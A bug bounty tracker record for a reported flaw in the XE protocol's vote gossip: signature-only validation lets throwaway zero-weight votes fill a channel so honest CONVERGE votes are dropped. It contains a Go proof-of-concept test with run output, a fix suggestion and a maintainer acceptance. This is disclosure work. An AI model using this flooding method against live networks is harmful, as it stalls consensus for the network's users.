{"id":"XE-0024","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"46","source_url":"https://github.com/xeprotocol/xe/issues/46","reporter_id":13,"title":"net: vote gossip admits any validly signed zero-weight vote and CONVERGE votes are dropped when the channel fills (High)","area":"p2p-sync","claimed_tier":"high","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:16.538903+00:00","updated_at":"2026-11-10T11:38:17.407327+00:00","source_created_at":"2026-10-25T11:12:08+00:00","told_at":"2026-11-10T00:15:27+00:00","status_changed_at":"2026-10-29T14:04:12.291866+00:00","url":"https://bounty.xe.network/XE-0024","body":"## Summary\nThe vote gossip validator requires only a well formed ed25519 signature; weight, the 5 minute window and conflict existence are checked later in the vote manager, after the vote already occupies a slot in the 1024 deep subscriber channel. Final votes enqueue blocking, CONVERGE votes enqueue with drop-on-full. An attacker with throwaway keys can fill the channel with validly signed zero-weight non-final votes so honest CONVERGE votes from real representatives are dropped, delaying conflict resolution network wide.\n\n## Affected component\nnet/gossip_validate.go, voteValidator at lines 100 to 120 (signature only); real checks in core/vote.go ValidateVote at lines 225 to 260; enqueue with drop-on-full for CONVERGE at net/gossip.go lines 263 to 278 with channel size 1024 at line 193, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.\n\n## Impact\nOne client can keep the vote channel permanently full: zero-weight votes are enqueued before validation and rejected only after delivery, so the slots stay occupied. Honest conflict resolution traffic (CONVERGE votes) is dropped, stalling conflict finality. Final votes still enqueue and are not stolen, so this is degradation, not finality forgery.\n\nSuggested severity: High (degradation one client can cause). Confirmed by read-only source review.\n\n## PoC\n\nSetup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f7_test.go` (it joins the package's own test build), then:\n\n```\nGOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F7 ./net\n```\n\n**Test file** (`net/poc_f7_test.go`):\n\n```go\npackage net\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/ed25519\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\tpubsub \"github.com/libp2p/go-libp2p-pubsub\"\n\tpb \"github.com/libp2p/go-libp2p-pubsub/pb\"\n\t\"github.com/libp2p/go-libp2p/core/peer\"\n\n\t\"github.com/xeprotocol/xe/core\"\n)\n\n// TestPoC_F7: vote gossip admits any ed25519 signature (no weight/window/\n// conflict check in the validator), and enqueueVote drops CONVERGE votes\n// when the 1024-deep channel is full.\nfunc TestPoC_F7(t *testing.T) {\n\tpass, detail := runF7()\n\tif pass {\n\t\tfmt.Println(\"PASS: F7 vote validator accepts throwaway ed25519; CONVERGE drops on full channel\")\n\t\tfmt.Println(detail)\n\t\treturn\n\t}\n\tfmt.Println(\"FAIL: F7 expected accept-any-sig + CONVERGE drop\")\n\tfmt.Println(detail)\n\tos.Exit(0)\n}\n\nfunc signVote(v *core.Vote, priv ed25519.PrivateKey) error {\n\t// Matches core.voteSigningBytes (encoding.go, version 0x02).\n\trep, err := hex.DecodeString(v.RepPubKey)\n\tif err != nil || len(rep) != 32 {\n\t\treturn fmt.Errorf(\"rep\")\n\t}\n\tbh, err := hex.DecodeString(v.BlockHash)\n\tif err != nil || len(bh) != 32 {\n\t\treturn fmt.Errorf(\"block hash\")\n\t}\n\tacc, err := hex.DecodeString(v.ConflictAccount)\n\tif err != nil || len(acc) != 32 {\n\t\treturn fmt.Errorf(\"account\")\n\t}\n\tvar prev []byte\n\tif v.ConflictPrev == \"0\" {\n\t\tprev = make([]byte, 32)\n\t} else {\n\t\tprev, err = hex.DecodeString(v.ConflictPrev)\n\t\tif err != nil || len(prev) != 32 {\n\t\t\treturn fmt.Errorf(\"prev\")\n\t\t}\n\t}\n\tvar buf bytes.Buffer\n\tbuf.WriteByte(0x02)\n\tbuf.Write(rep)\n\tbuf.Write(bh)\n\tbuf.Write(acc)\n\tbuf.Write(prev)\n\tvar ts [8]byte\n\tbinary.BigEndian.PutUint64(ts[:], uint64(v.Timestamp))\n\tbuf.Write(ts[:])\n\tif v.Final {\n\t\tbuf.WriteByte(1)\n\t} else {\n\t\tbuf.WriteByte(0)\n\t}\n\tv.Signature = ed25519.Sign(priv, buf.Bytes())\n\treturn nil\n}\n\nfunc runF7() (bool, string) {\n\tpub, priv, err := ed25519.GenerateKey(nil)\n\tif err != nil {\n\t\treturn false, \"keygen: \" + err.Error()\n\t}\n\tv := &core.Vote{\n\t\tRepPubKey:       hex.EncodeToString(pub),\n\t\tBlockHash:       \"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\",\n\t\tConflictAccount: \"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\",\n\t\tConflictPrev:    \"0\",\n\t\tTimestamp:       time.Now().UnixNano(),\n\t\tFinal:           false,\n\t\tWeight:          0, // validator never looks at weight\n\t}\n\tif err := signVote(v, priv); err != nil {\n\t\treturn false, \"sign: \" + err.Error()\n\t}\n\n\tval := voteValidator(core.VerifyVoteSignature)\n\tdata, err := json.Marshal(VoteMsg{Vote: v})\n\tif err != nil {\n\t\treturn false, \"marshal: \" + err.Error()\n\t}\n\tgot := val(context.Background(), peer.ID(\"\"), &pubsub.Message{Message: &pb.Message{Data: data}})\n\n\tgarbage := *v\n\tgarbage.Signature = bytes.Repeat([]byte{0x11}, 64)\n\tgData, _ := json.Marshal(VoteMsg{Vote: &garbage})\n\trej := val(context.Background(), peer.ID(\"\"), &pubsub.Message{Message: &pb.Message{Data: gData}})\n\n\tctx := context.Background()\n\tch := make(chan *core.Vote, 1024)\n\tseen := make(map[string]int64)\n\tnow := time.Now().UnixNano()\n\tenqueued := 0\n\tfor i := 0; i < 1024; i++ {\n\t\tcv := &core.Vote{\n\t\t\tRepPubKey:       fmt.Sprintf(\"%064x\", i+1),\n\t\t\tBlockHash:       \"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\",\n\t\t\tConflictAccount: \"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\n\t\t\tConflictPrev:    \"0\",\n\t\t\tFinal:           false,\n\t\t}\n\t\tif !enqueueVote(ctx, ch, seen, cv, now) {\n\t\t\treturn false, fmt.Sprintf(\"CONVERGE enqueue failed at %d before cap\", i)\n\t\t}\n\t\tenqueued++\n\t}\n\toverflow := &core.Vote{\n\t\tRepPubKey:       fmt.Sprintf(\"%064x\", 9999),\n\t\tBlockHash:       \"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\",\n\t\tConflictAccount: \"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\n\t\tConflictPrev:    \"0\",\n\t\tFinal:           false,\n\t}\n\tconvergeDropped := !enqueueVote(ctx, ch, seen, overflow, now)\n\n\tfinalVote := &core.Vote{\n\t\tRepPubKey:       fmt.Sprintf(\"%064x\", 10000),\n\t\tBlockHash:       \"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\",\n\t\tConflictAccount: \"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\n\t\tConflictPrev:    \"0\",\n\t\tFinal:           true,\n\t}\n\tfinalCtx, cancel := context.WithTimeout(ctx, time.Millisecond)\n\tdefer cancel()\n\t// Final votes block-send; with a full channel they wait on ctx, not default.\n\tfinalBlocked := !enqueueVote(finalCtx, ch, seen, finalVote, now)\n\n\tdetail := fmt.Sprintf(\n\t\t\"throwaway ed25519 vote Weight=0 Final=false validator=%v (Accept=%v)\n\"+\n\t\t\t\"control garbage sig validator=%v (Reject=%v)\n\"+\n\t\t\t\"CONVERGE filled=%d cap=1024 overflow_dropped=%v\n\"+\n\t\t\t\"FINAL on full channel with cancelled ctx blocked=%v (Final uses blocking send)\",\n\t\tgot, pubsub.ValidationAccept, rej, pubsub.ValidationReject,\n\t\tenqueued, convergeDropped, finalBlocked,\n\t)\n\tok := got == pubsub.ValidationAccept && rej == pubsub.ValidationReject && convergeDropped && enqueued == 1024\n\treturn ok, detail\n}\n```\n\n## Fix suggestion\nCheck vote weight and the time window inside the gossip validator, and/or reserve channel capacity per representative so zero-weight votes cannot evict real ones.\n\n**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):\n\n```\n=== RUN   TestPoC_F7\ntime=2026-10-25T17:32:34.548+07:00 level=WARN msg=\"gossip: vote channel full, dropping CONVERGE vote from 000000000000...\"\nPASS: F7 vote validator accepts throwaway ed25519; CONVERGE drops on full channel\nthrowaway ed25519 vote Weight=0 Final=false validator=0 (Accept=0)\ncontrol garbage sig validator=1 (Reject=1)\nCONVERGE filled=1024 cap=1024 overflow_dropped=true\nFINAL on full channel with cancelled ctx blocked=true (Final uses blocking send)\n--- PASS: TestPoC_F7 (0.00s)\nPASS\nok  \tgithub.com/xeprotocol/xe/net\t0.019s\n```","patch_refs":[{"id":161,"repo":"xeprotocol/xe","kind":"pr","ref":"142","title":"fix(net,node): validate vote weight and timestamp window in vote gossip (#46)","url":"https://github.com/xeprotocol/xe/pull/142","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":1557,"source":"github","source_ref":"6755088128","author":"XE desk","team":true,"body":"Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is\nupdated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0024.","created_at":"2026-11-10T00:15:27+00:00"}]}